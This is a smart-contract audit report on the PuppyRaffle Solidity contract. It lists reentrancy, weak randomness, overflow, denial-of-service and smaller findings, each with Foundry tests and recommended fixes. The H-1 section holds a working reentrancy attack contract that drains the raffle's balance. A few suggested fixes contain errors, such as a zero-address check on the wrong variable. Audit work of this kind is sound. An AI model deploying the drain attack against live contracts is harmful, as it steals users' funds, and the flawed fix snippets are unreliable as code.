Puppy Raffle Audit Report

Version 1.0

elpabl0.eth

January 10, 2024

Puppy Raffle Audit Report

elpabl0.eth

January 10, 2024

Prepared by: elpabl0.eth Lead Auditors: - elpabl0.eth

Table of Contents

    * [M-1] Potential DoS attack by sending a large array of addresses in `PuppyRaffle::enterRaffle`, incrementing gas costs for future entrants.
    * [M-2] Function `PuppyRaffle::enterRaffle` doesn't check for zero addresses, potentially causing `PuppyRaffle::selectWinner` to fail if the selected winner is the zero address.
    * [M-3] Unsafe cast of `PuppyRaffle::fee` loses fees
    * [M-4] Smart Contract wallet raffle winners without a `receive` or a `fallback` will block the start of a new contest
  - Low
    * [L-1] Inaccurate Active Player Index Retrieval
  - Informational
    * [I-1] Floating Pragmas
    * [I-2] Event is missing indexed fields
    * [I-3] Unchecked `PuppyRaffle::_feeAddress` in `constructor` and `PuppyRaffle::changeFeeAddress` parameters for zero address
    * [I-4] Magic Numbers
    * [I-5] _isActivePlayer is never used and should be removed
  - Gas
    * [G-1] Unchanged variables should be constant or immutable
    * [G-2] Cache array length
    * [G-3] Utilizing `address(this).balance` for `totalAmountCollected` in `PuppyRaffle::selectWinner` is more gas efficient.

Protocol Summary

This project is to enter a raffle to win a cute dog NFT. The protocol should do the following:

1. Call the `enterRaffle` function with the following parameters:
    1. `address[] participants`: A list of addresses that enter. You can use this to enter yourself multiple times, or yourself and a group of your friends.
2. Duplicate addresses are not allowed
3. Users are allowed to get a refund of their ticket & `value` if they call the `refund` function
4. Every X seconds, the raffle will be able to draw a winner and be minted a random puppy
5. The owner of the protocol will set a feeAddress to take a cut of the `value`, and the rest of the funds will be sent to the winner of the puppy.

Disclaimer

I makes all effort to find as many vulnerabilities in the code in the given time period, but holds no responsibilities for the findings provided in this document. A security audit by the team is not an endorsement of the underlying business or product. The audit was time-boxed and the review of the code was solely on the security aspects of the Solidity implementation of the contracts.

Risk Classification

		Impact		
		High	Medium	Low
	High	H	H/M	M
Likelihood	Medium	H/M	M	M/L
	Low	M	M/L	L

We use the CodeHawks severity matrix to determine severity. See the documentation for more details.

Audit Details

The findings described in this document correspond the following commit hash:

```
2a47715b30cf11ca82db148704e67652ad679cd8
```

Scope

```
./src/
-- PuppyRaffle.sol
```

Roles

- Owner: The only one who can change the `feeAddress`, denominated by the `_owner` variable.

- Fee User: The user who takes a cut of raffle entrance fees. Denominated by the `feeAddress` variable.
- Raffle Entrant: Anyone who enters the raffle. Denominated by being in the `players` array.

Executive Summary

Issues found

Severity	Number of issues found
High	3
Medium	4
Low	1
Info	5
Gas	3
Total	16

Findings

High

[H-1] Potential Re-entrancy attack in `PuppyRaffle::refund` allowing entrants to drain the contract balance.

Description: The `PuppyRaffle::refund` function in the code may be vulnerable to a re-entrancy attack. This means that an attacker could potentially call the `refund` function multiple times before the balance is updated, allowing them to drain the contract balance.

```
1      function refund(uint256 playerIndex) public {
2          address playerAddress = players[playerIndex];
3          require(playerAddress == msg.sender, "PuppyRaffle: Only the
               player can refund");
4          require(playerAddress != address(0), "PuppyRaffle: Player
               already refunded, or is not active");
5  @>      payable(msg.sender).sendValue(entranceFee);
6  @>      players[playerIndex] = address(0);
7          emit RaffleRefunded(playerAddress);
```

```
8       }
```

Impact: The impact of this vulnerability is that an attacker could drain the contract balance, potentially causing financial loss to the contract owner and disrupting the normal operation of the raffle. This can lead to a loss of funds and undermine the trust and integrity of the raffle.

Proof of Concept: Place the following code into `PuppyRaffleTest.t.sol` 1. Users entered the raffle 2. Attacker set a contract address with `fallback` functions that calls `PuppyRaffle::refund` as long as the `balance` of `PuppyRaffle` contract is greater than or equal to `PuppyRaffle::entranceFee`. 3. Attacker calls the `attack` function, entering the raffle and refunding the fund in one go and trigger the `fallback` function in it's own contract, repeating this sequence until the contract balance is totally drained.

Code

```
1       function test_REENTRANCY_on_refund() public playersEntered {
2           ReentrancyAttack attacker = new ReentrancyAttack(puppyRaffle,
               entranceFee);
3           uint256 startingAttackerBal = address(attacker).balance;
4           uint256 startingBal = address(puppyRaffle).balance;
5           address attackerAddress = makeAddr("attacker");
6           hoax(attackerAddress);
7           attacker.attack{value: entranceFee}();
8           assertEq(address(puppyRaffle).balance, 0);
9           assertEq(address(attacker).balance, startingBal + entranceFee);
10      }
11
12      contract ReentrancyAttack {
13          PuppyRaffle puppyRaffle;
14          uint256 private index;
15          uint256 private entranceFee;
16
17          constructor(PuppyRaffle _puppyRaffle, uint256 _entranceFee) {
18              puppyRaffle = _puppyRaffle;
19              entranceFee = _entranceFee;
20          }
21
22          function attack() external payable {
23              address[] memory players = new address[](1);
24              players[0] = address(this);
25              puppyRaffle.enterRaffle{value: entranceFee}(players);
26              uint256 _index = puppyRaffle.getActivePlayerIndex(address(
                   this));
27              index = _index;
28              puppyRaffle.refund(_index);
29          }
30
31          fallback() external payable {
32              if (address(puppyRaffle).balance >= entranceFee) {
```

```
33                  puppyRaffle.refund(index);
34              }
35          }
36      }
```

Recommended Mitigation: To mitigate this vulnerability, it is recommended to use the checks-effects-interactions pattern. This involves separating the state changes from the external calls to ensure that the contract balance is updated before any external calls are made. Additionally, implementing a withdrawal pattern where users can only withdraw their funds in a controlled manner can help prevent re-entrancy attacks.

```
1       function refund(uint256 playerIndex) public {
2           address playerAddress = players[playerIndex];
3           require(playerAddress == msg.sender, "PuppyRaffle: Only the
                player can refund");
4           require(playerAddress != address(0), "PuppyRaffle: Player
                already refunded, or is not active");
5   +        players[playerIndex] = address(0);
6   +        payable(msg.sender).sendValue(entranceFee);
7   -        payable(msg.sender).sendValue(entranceFee);
8   -        players[playerIndex] = address(0);
9           emit RaffleRefunded(playerAddress);
10      }
```

[H-2] Weak Pseudo-Random Number Generator (PRNG) in `PuppyRaffle::selectWinner` could allow manipulation of winner and rarity output of the NFT.

Description: Combining `msg.sender`, `block.timestamp`, and `block.difficulty` through hashing produces a predictable final number, compromising the randomness of the raffle selection. This predictability allows malicious users to manipulate or anticipate these values, enabling them to choose the raffle winner and claim the associated rewards.

Impact: The vulnerability allows any user to influence the raffle outcome, granting them the ability to select the "rarest" puppy and essentially equalizing the rarity of all puppies. This manipulation undermines the fairness of the raffle, as users can determine the winner, negating the intended randomness.

Proof of Concept: Several attack vectors arise from this vulnerability:

1. Validators can pre-determine `block.timestamp` and `block.difficulty` values, exploiting this information to predict when and how to participate in the raffle.
2. Users can manipulate the `msg.sender` value to influence their index, increasing the likelihood of becoming the winner.

3. Relying on on-chain values as a randomness seed is a known vulnerability in the blockchain space, since blockchain is deterministic.

Recommended Mitigation: To address this issue, consider adopting a more secure approach to randomness, such as using an oracle like Chainlink VRF (Verifiable Random Function). This ensures a more robust and unpredictable source of randomness, enhancing the integrity and fairness of the raffle selection process.

[H-3] Integer overflow in `PuppyRaffle::totalFees` could lead to loss of fees

Description: The `PuppyRaffle::totalFees` in the code is susceptible to integer overflow since the solidity version being used is prior to `0.8.0`. This can occur when the total fees collected exceed the maximum value that can be stored in the data type used to represent the fees. As a result, the fees may wrap around to a smaller and inaccurate value, leading to a loss of fees.

Impact: The impact of this vulnerability is that the contract may lose track of the total fees collected and `totalFees` will be reflecting the wrong amount of actual fees being collected that will result in fund being permanently stuck in the contract.

Proof of Concept: Place the following code into `PuppyRaffleTest.t.sol`

1. We have 240 players entering the raffle.
2. This result in more than maximum amount of value that `uint64` can store, resulting the `totalFees` reflecting an inaccurate value.
3. Function `PuppyRaffle::withdraw` is now will always revert due to this line being **`false`**.

```
require(address(this).balance == uint256(totalFees), "PuppyRaffle:
    There are currently players active!");
```

We could `selfdestruct` to send ETH to this contract in order for the values to match and withdraw fees, but this is clearly not what the protocol is intended to do.

Code

```
function test_total_fees_overflow() public {
        uint256 numOfPlayers = 240;
        address[] memory players = new address[](numOfPlayers);
        for (uint256 i = 0; i < numOfPlayers; ++i) {
            players[i] = address(uint160(i));
        }
        puppyRaffle.enterRaffle{value: entranceFee * numOfPlayers}(
            players);
        uint256 expectedTotalFees = (address(puppyRaffle).balance * 20)
             / 100;
        vm.warp(block.timestamp + duration + 1);
```

```
10          vm.roll(block.number + 1);
11          puppyRaffle.selectWinner();
12          uint256 actualTotalFees = puppyRaffle.totalFees();
13          assert(expectedTotalFees != actualTotalFees);
14          vm.expectRevert("PuppyRaffle: There are currently players
                active!");
15          puppyRaffle.withdrawFees();
16      }
```

Recommended Mitigation: There are few ways to mitigate this vulnerability:

1. Use a newer version of solidity that doesn't have integer overflows.

```
1  -   pragma solidity ^0.7.6;
2  +   pragma solidity 0.8.0;
```

Alternatively, if you want to use an older version of Solidity, you can use a library like OpenZeppelin's `SafeMath` to prevent integer overflows. 2. Use `uint256` instead of `uint64` for `totalFees`.

```
1  - uint64 public totalFees = 0;
2  + uint256 public totalFees = 0;
```

3. Remove the balance check in `PuppyRaffle::withdrawFees`.

```
1  - require(address(this).balance == uint256(totalFees), "PuppyRaffle:
       There are currently players active!");
```

We additionally want to bring your attention to another attack vector as a result of this line in a future finding.

Medium

[M-1] Potential DoS attack by sending a large array of addresses in `PuppyRaffle::enterRaffle`, incrementing gas costs for future entrants.

Description: The `PuppyRaffle::enterRaffle` function in the code allows users to enter the raffle by providing an array of addresses. However, there is no limit on the size of the array, which can potentially be exploited by an attacker to send a large array of addresses, causing a Denial of Service (DoS) attack. This can lead to increased gas costs for future entrants and disrupt the normal operation of the raffle.

Impact: The impact of this vulnerability is that it can significantly increase the gas costs for future entrants in the raffle. This can make it more expensive for legitimate users to participate and potentially discourage them from entering the raffle. Additionally, it can disrupt the fairness and integrity of the raffle by allowing an attacker to manipulate the process.

Proof of Concept: Place the following code into `PuppyRaffleTest.t.sol`

1. The first case is when there are 240 users entering the raffle. Then, another user attempting to enter the raffle will `revert` due to high gas cost and exceeding the block gas limit.
2. The second case is when there are 2 batches of users with the same amount of addresses provided, in this case, 100. The first batch is way cheaper than the second one because the loop that checks duplicated addresses for the second batch is longer and consumes more gas.

Code

```
function test_DoS_revert_exceeded_block_limit_on_enter_raffle() public {
        uint256 numOfPlayers = 240;
        address[] memory players = new address[](numOfPlayers);
        for (uint256 i = 0; i < numOfPlayers; ++i) {
            players[i] = address(uint160(i));
        }
        puppyRaffle.enterRaffle{value: entranceFee * numOfPlayers}(players);
        address[] memory player = new address[](1);
        player[0] = address(numOfPlayers + 1);
        vm.expectRevert();
        puppyRaffle.enterRaffle{value: entranceFee}(player);
    }

    function test_DoS_more_gas_on_enter_raffle_by_latest_user() public {
        uint256 gasStartFirst = gasleft();
        uint256 numOfPlayers = 100;
        address[] memory playersFirst = new address[](numOfPlayers);
        for (uint256 i = 0; i < numOfPlayers; ++i) {
            playersFirst[i] = address(uint160(i));
        }
        puppyRaffle.enterRaffle{value: entranceFee * numOfPlayers}(playersFirst);
        uint256 gasEndFirst = gasleft();
        uint256 gasUsedFirst = gasStartFirst - gasEndFirst;

        uint256 gasStartSecond = gasleft();
        address[] memory playersSecond = new address[](numOfPlayers);
        for (uint256 i = 0; i < numOfPlayers; ++i) {
            playersSecond[i] = address(uint160(i + numOfPlayers));
        }
        puppyRaffle.enterRaffle{value: entranceFee * numOfPlayers}(playersSecond);
        uint256 gasEndSecond = gasleft();
        uint256 gasUsedSecond = gasStartSecond - gasEndSecond;
        console.log("Gas Cost for the first 100 users: ", gasUsedFirst);
        console.log("Gas Cost for the second 100 users: ",
```

```
            gasUsedSecond);
35          assert(gasUsedFirst < gasUsedSecond);
36      }
```

Recommended Mitigation: There are few ways to mitigate this attack:

1. Implement a limit on the size of the array of addresses that can be passed to the `PuppyRaffle::enterRaffle` function. This can be done by adding a check to ensure that the array size does not exceed a certain threshold. Additionally, it is important to monitor and analyze gas costs to detect any abnormal behavior that may indicate a DoS attack.
2. Allowing duplicates. Users can still enter the raffle with different addresses, so this doesn't prevent the same person from entering the raffle multiple times.
3. Use a mapping to check duplicates. This would allow the function to check for duplicates in constant time, rather than linear time. This approach is more recommended since it's more gas efficient without removing the validation for duplicated addresses.

[M-2] Function `PuppyRaffle::enterRaffle` doesn't check for zero addresses, potentially causing `PuppyRaffle::selectWinner` to fail if the selected winner is the zero address.

Description: The `PuppyRaffle::enterRaffle` function in the code allows users to enter the raffle by providing an array of addresses. However, the function does not check for zero addresses in the array. This can potentially lead to a situation where the selected winner in the `PuppyRaffle::selectWinner` function is the zero address, causing the function to fail.

Impact: The impact of this vulnerability is that it can result in the `PuppyRaffle::selectWinner` function failing if the selected winner is the zero address. This can disrupt the normal operation of the raffle and prevent a valid operation of the raffle. If the `PuppyRaffle::selectWinner` function fails, it may prevent a valid winner from being selected and result in an unfair or incomplete raffle. Additionally, it can introduce unexpected behavior or errors in the code that relies on the selected winner's address.

Proof of Concept: Place the following code into `PuppyRaffleTest.t.sol`

Code

```
1       modifier playersEnteredWithZeroAddress() {
2           address[] memory players = new address[](4);
3           players[0] = playerOne;
4           players[1] = playerTwo;
5           players[2] = playerThree;
6           players[3] = address(0);
7           puppyRaffle.enterRaffle{value: entranceFee * 4}(players);
8           _;
9       }
```

```
10      function
            test_select_winner_if_zero_address_included_in_players_array()
            public playersEnteredWithZeroAddress {
11          vm.warp(block.timestamp + duration + 1);
12          vm.roll(block.number + 1);
13          vm.expectRevert("ERC721: mint to the zero address");
14          puppyRaffle.selectWinner();
15      }
```

Recommended Mitigation: To mitigate this, the protocol can do a validation for zero address in the array of entrants.

Code

```
1  function enterRaffle(address[] memory newPlayers) public payable {
2          require(msg.value == entranceFee * newPlayers.length, "
               PuppyRaffle: Must send enough to enter raffle");
3          for (uint256 i = 0; i < newPlayers.length; i++) {
4  +           require(newPlayers[i] != address(0), "Invalid Address
       Provided");
5              players.push(newPlayers[i]);
6          }
7
8          for (uint256 i = 0; i < players.length - 1; i++) {
9              for (uint256 j = i + 1; j < players.length; j++) {
10                 require(players[i] != players[j], "PuppyRaffle:
                       Duplicate player");
11             }
12         }
13         emit RaffleEnter(newPlayers);
14     }
```

[M-3] Unsafe cast of `PuppyRaffle::fee` loses fees

Description: In `PuppyRaffle::selectWinner` their is a type cast of a `uint256` to a `uint64`. This is an unsafe cast, and if the `uint256` is larger than `type(uint64).max`, the value will be truncated.

```
1      function selectWinner() external {
2          require(block.timestamp >= raffleStartTime + raffleDuration, "
               PuppyRaffle: Raffle not over");
3          require(players.length > 0, "PuppyRaffle: No players in raffle"
               );
4
5          uint256 winnerIndex = uint256(keccak256(abi.encodePacked(msg.
               sender, block.timestamp, block.difficulty))) % players.
               length;
6          address winner = players[winnerIndex];
```

```
7           uint256 fee = totalFees / 10;
8           uint256 winnings = address(this).balance - fee;
9   @>      totalFees = totalFees + uint64(fee);
10          players = new address[](0);
11          emit RaffleWinner(winner, winnings);
12      }
```

The max value of a `uint64` is `18446744073709551615`. In terms of ETH, this is only ~18 ETH. Meaning, if more than 18ETH of fees are collected, the `fee` casting will truncate the value.

Impact: This means the `feeAddress` will not collect the correct amount of fees, leaving fees permanently stuck in the contract.

Proof of Concept:

1. A raffle proceeds with a little more than 18 ETH worth of fees collected
2. The line that casts the `fee` as a `uint64` hits
3. `totalFees` is incorrectly updated with a lower amount

You can replicate this in foundry's chisel by running the following:

```
uint256 max = type(uint64).max
uint256 fee = max + 1
uint64(fee)
// prints 0
```

Recommended Mitigation: Set `PuppyRaffle::totalFees` to a `uint256` instead of a `uint64`, and remove the casting. Their is a comment which says:

```
// We do some storage packing to save gas
```

But the potential gas saved isn't worth it if we have to recast and this bug exists.

```
-   uint64 public totalFees = 0;
+   uint256 public totalFees = 0;
.
.
.
    function selectWinner() external {
        require(block.timestamp >= raffleStartTime + raffleDuration, "
            PuppyRaffle: Raffle not over");
        require(players.length >= 4, "PuppyRaffle: Need at least 4
            players");
        uint256 winnerIndex =
            uint256(keccak256(abi.encodePacked(msg.sender, block.
                timestamp, block.difficulty))) % players.length;
        address winner = players[winnerIndex];
        uint256 totalAmountCollected = players.length * entranceFee;
        uint256 prizePool = (totalAmountCollected * 80) / 100;
```

```
14          uint256 fee = (totalAmountCollected * 20) / 100;
15  -       totalFees = totalFees + uint64(fee);
16  +       totalFees = totalFees + fee;
```

[M-4] Smart Contract wallet raffle winners without a `receive` or a `fallback` will block the start of a new contest

Description: The `PuppyRaffle::selectWinner` function is responsible for resetting the lottery. However, if the winner is a smart contract wallet that rejects payment, the lottery would not be able to restart.

Non-smart contract wallet users could reenter, but it might cost them a lot of gas due to the duplicate check.

Impact: The `PuppyRaffle::selectWinner` function could revert many times, and make it very difficult to reset the lottery, preventing a new one from starting.

Also, true winners would not be able to get paid out, and someone else would win their money!

Proof of Concept: 1. 10 smart contract wallets enter the lottery without a fallback or receive function. 2. The lottery ends 3. The `selectWinner` function wouldn't work, even though the lottery is over!

Recommended Mitigation: There are a few options to mitigate this issue.

1. Do not allow smart contract wallet entrants (not recommended)
2. Create a mapping of addresses -> payout so winners can pull their funds out themselves, putting the owness on the winner to claim their prize. (Recommended)

Low

[L-1] Inaccurate Active Player Index Retrieval

Description: The `PuppyRaffle::getActivePlayerIndex` function is designed to retrieve the index of an active player in the `players` array. However, there is a flaw in the implementation. If the player is not found in the array, the function will return 0, which is a valid index. This can lead to incorrect results when using the returned index.

Impact: The impact of this issue is that the function may provide inaccurate results when the player is not found in the `players` array. This can lead to incorrect logic or unexpected behavior in the code that relies on the returned index.

Recommended Mitigation: There are few ways to mitigate this issue, such as using `int256` for the flagging, returning `-1` for inactive player so it's not collide with `players`'s index'.

Informational

[I-1] Floating Pragmas

Description: The code contains floating pragmas, which are pragma statements that are not explicitly set to a specific version. This can lead to compatibility issues and unexpected behavior when the code is compiled with different compiler versions.

Impact: The impact of floating pragmas is that the code may behave differently or produce errors when compiled with different compiler versions. This can make the code less reliable and harder to maintain.

Recommended Mitigation: It is recommended to explicitly set the pragma statements to a specific version in order to ensure consistent behavior across different compiler versions. This can be done by specifying the desired compiler version in the pragma statement, such as `pragma solidity 0.8.18`.

[I-2] Event is missing indexed fields

Description: Index event fields make the field more quickly accessible to off-chain tools that parse events. However, note that each index field costs extra gas during emission, so it's not necessarily best to index the maximum allowed per event (three fields). Each event should use three indexed fields if there are three or more fields, and gas usage is not particularly of concern for the events in question. If there are fewer than three fields, all of the fields should be indexed.

- Found in src/PuppyRaffle.sol Line: 53

```
1      event RaffleEnter(address[] newPlayers);
```

- Found in src/PuppyRaffle.sol Line: 54

```
1      event RaffleRefunded(address player);
```

- Found in src/PuppyRaffle.sol Line: 55

```
1      event FeeAddressChanged(address newFeeAddress);
```

[I-3] Unchecked `PuppyRaffle::_feeAddress` in `constructor` and `PuppyRaffle::changeFeeAddress` parameters for zero address

Description: There's no validation for zero address provided in `PuppyRaffle::_feeAddress` in `constructor` and `PuppyRaffle::changeFeeAddress` parameters, this could lead to acci-

dentally withdrawing fees into zero address and resulting in fund lose.

Recommended Mitigation: Add the following validation

```
    constructor(uint256 _entranceFee, address _feeAddress, uint256 _raffleDuration) ERC721("Puppy Raffle", "PR") {
+       require(_feeAddress != address(0), "Invalid Address Provided");
        entranceFee = _entranceFee;
        feeAddress = _feeAddress;
        raffleDuration = _raffleDuration;
        raffleStartTime = block.timestamp;

        rarityToUri[COMMON_RARITY] = commonImageUri;
        rarityToUri[RARE_RARITY] = rareImageUri;
        rarityToUri[LEGENDARY_RARITY] = legendaryImageUri;

        rarityToName[COMMON_RARITY] = COMMON;
        rarityToName[RARE_RARITY] = RARE;
        rarityToName[LEGENDARY_RARITY] = LEGENDARY;
    }

    function changeFeeAddress(address newFeeAddress) external onlyOwner {
+   require(_feeAddress != address(0), "Invalid Address Provided");
    feeAddress = newFeeAddress;
    emit FeeAddressChanged(newFeeAddress);
    }
```

[I-4] Magic Numbers

Description: All number literals should be replaced with constants. This makes the code more readable and easier to maintain. Numbers without context are called “magic numbers”.

Recommended Mitigation: Replace all magic numbers with constants.

```
+       uint256 public constant PRIZE_POOL_PERCENTAGE = 80;
+       uint256 public constant FEE_PERCENTAGE = 20;
+       uint256 public constant TOTAL_PERCENTAGE = 100;
.
.
.
-        uint256 prizePool = (totalAmountCollected * 80) / 100;
-        uint256 fee = (totalAmountCollected * 20) / 100;
         uint256 prizePool = (totalAmountCollected * PRIZE_POOL_PERCENTAGE) / TOTAL_PERCENTAGE;
         uint256 fee = (totalAmountCollected * FEE_PERCENTAGE) / TOTAL_PERCENTAGE;
```

[I-5] _isActivePlayer is never used and should be removed

Description: The function `PuppyRaffle::_isActivePlayer` is never used and should be removed.

```
-    function _isActivePlayer() internal view returns (bool) {
-        for (uint256 i = 0; i < players.length; i++) {
-            if (players[i] == msg.sender) {
-                return true;
-            }
-        }
-        return false;
-    }
```

Gas

[G-1] Unchanged variables should be constant or immutable

Description: The code contains variables that are not intended to be modified after initialization, but they are not declared as `constant` or `immutable`. This can make the code less efficient and increase gas costs.

Impact: The impact of not declaring unchanged variables as `constant` or `immutable` is that unnecessary storage operations may be performed, leading to higher gas costs. Additionally, it may make the code harder to understand and maintain.

Proof of Concept: To demonstrate the impact, consider a scenario where a variable is declared without being marked as `constant` or `immutable`. If the variable is not modified after initialization, unnecessary storage operations will be performed when accessing the variable, resulting in higher gas costs.

Recommended Mitigation: Consider the following codes in `PuppyRaffle.sol:PuppyRaffle`

```
- uint256 public raffleDuration;
+ uint256 public constant RAFFLE_DURATION;

- string private commonImageUri = "ipfs://
    QmSsYRx3LpDAb1GZQm7zZ1AuHZjfbPkD6J7s9r41xu1mf8";
+ string private constant COMMON_IMAGE_URI = "ipfs://
    QmSsYRx3LpDAb1GZQm7zZ1AuHZjfbPkD6J7s9r41xu1mf8";

- string private rareImageUri = "ipfs://
    QmUPjADFGEKmfohdTaNcWhp7VGk26h5jXDA7v3VtTnTLcW";
+ string private constant RARE_IMAGE_URI = "ipfs://
    QmUPjADFGEKmfohdTaNcWhp7VGk26h5jXDA7v3VtTnTLcW";

```

```
10 - string private legendaryImageUri = "ipfs://
       QmYx6GsYAKnNzZ9A6NvEKV9nf1VaDzJrqDR23Y8YSkebLU";
11 + string private constant LEGENDARY_IMAGE_URI = "ipfs://
       QmYx6GsYAKnNzZ9A6NvEKV9nf1VaDzJrqDR23Y8YSkebLU";
```

[G-2] Cache array length

Description: Loop condition in `src/PuppyRaffle.sol#120`, `src/PuppyRaffle.sol#195` and `src/PuppyRaffle.sol#95` should use cached array length instead of referencing `length` member of the storage array.

Recommended Mitigation: Cache the lengths of storage arrays if they are used and not modified in for loops.

```
1 uint256 playersLength = players.length;
```

[G-3] Utilizing `address(this).balance` for `totalAmountCollected` in `PuppyRaffle::selectWinner` is more gas efficient.

Description: Using `address(this).balance` instead `players.length * entranceFee;` for `totalAmountCollected` will be more gas efficient, since the contract doesn't have any `receiver` or `fallback` function the balance will consistently be equal to `players.length * entranceFee`.

Recommended Mitigation:

```
1 +   uint256 totalAmountCollected = address(this).balance;
2 -   uint256 totalAmountCollected = players.length * entranceFee;
```